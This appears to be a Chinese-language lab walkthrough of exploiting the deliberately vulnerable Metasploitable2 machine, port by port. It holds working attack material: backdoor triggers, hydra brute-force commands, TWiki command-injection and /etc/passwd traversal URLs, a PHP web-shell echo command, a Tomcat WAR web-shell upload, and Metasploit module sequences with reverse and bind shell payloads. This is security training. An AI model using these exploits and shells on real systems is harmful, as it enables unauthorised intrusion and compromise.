metasploitable2
端口
使用nmap扫描可得:
21vsftpd2.3.4笑脸后门漏洞
程序的后门代码绑定的侦听端口是 6200。
通过ftp进行连接 在账号后加上:),密码随意,这时会登录失败,再次扫描6200端口,会发现6200端口已经打开,最后用nc连接6200端口就能执行命令了。也可以使用msf搜索vsftpd,利用msf里的脚本攻击。
22弱口令
hydra -L logins.txt -P pws.txt -M targets.txt ssh 或者 使用msf里的ssh_enumusers 来爆破(msfadmin/msfadmin)。
23弱口令
msfadmin/msfadmin
25 CNNVD-200111-004
低危,产生超多SMTP错误导致服务拒绝(内存耗尽)。
53 ISC BIND
80 http
- twiki漏洞
twiki版本为 01
http://192.168.230.130/twiki/bin/view/Main/TWikiUsers?rev=2%20|whoami||echo
当twiki版本为4.0.x时,存在任意文件读取
http://example.com/bin/viewfile/TWiki/TWikiDocGraphics?rev=1;filename=…/…/…/…/…/etc/passwd - phpmyadmin漏洞
版本:3.1.1
爆破目录
扫到setup文件,
登录界面重放操作
修改url为
/phpmyadmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
表示修改配置文件中的参数all_url_include(打开引用文件功能)和auto_prepend_file(附加文件)
passthru为执行命令
可以使用echo “<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>” > /var/www/cmd.php 命令来添加shell
反弹shell操作
- cgi参数注入
server API 是CGI方式运行的,这个方式在PHP存在漏洞-Cgi参数注入
use exploit/multi/http/php_cgi_arg_injection - webdav
https://blog.youkuaiyun.com/qq_41861526/article/details/103414741
111 rpcbind
use auxiliary/scanner/misc/sunrpc_portmapper
search sunrpc
139/445 smb
use exploit/multi/samba/usermap_script
最后smbclient -L //192.168.206.216获取共享目录
search smb (大部分为远程执行漏洞)
可能存在共享弱口令:netbios-ssn://192.168.230.130 (及使用IPC$连接,尝试连接未成功)
用户名/密码:User/User
512 rexec(远程计算机上运行命令)爆破
hydra爆破
1099 java-rmi
CVE-2011-3556:
use exploit/multi/misc/java_rmi_server
set payload java/meterpreter/reverse_tcp
set RHOSTS xxx
run
CVE-2017-3241 rmi反序列化漏洞
存在有缺陷的第三方库如commons-collections(主要缺陷为第三方库)
1524 bind_shell
metasploitable2本身有shell,可以直接连接
nc 192.168.230.130 1524
2049 nfs
nfs有信息泄露漏洞
showmount -e 192.168.230.130 2049
但是靶场好像没有
2121 ftp
- 超级弱口令扫描出来存在弱口令
- vsftpd后门漏洞
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
3306 mysql
用户名root 密码为空
3632 distccd
use exploit/unix/misc/distcc_exec
show payloads
set payload cmd/unix/bind_perl
run
5432 postgresql
爆破
5900 vnc
爆破,密码为password
6667/6697 irc
search rcd
use exploit/unix/irc/unreal_ircd_3281_backdoor
show options
set rhosts 192.168.206.216
run
8009 ajp
poc下载:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
8180 tomcat示例漏洞
当tomcat默认页面manager/html需要输入账号和密码时,metasploit 中有扫描器tomcat_mgr_login获取账号密码。用账号密码登录后,有上传war(压缩包rar改名为war)的地方,上传成功后,在url根目录添加上war包名/压缩包里的文件?cmd=whoami
也可以使用jar -cvf xx.war xx.jsp 生成war包,上传后访问 http://127.0.0.1:8080/war 包名(无后缀) / 包名内文件名
8787 drb
search drb
use use exploit/linux/misc/drb_remote_codeexec
set rhosts 192.168.206.216
run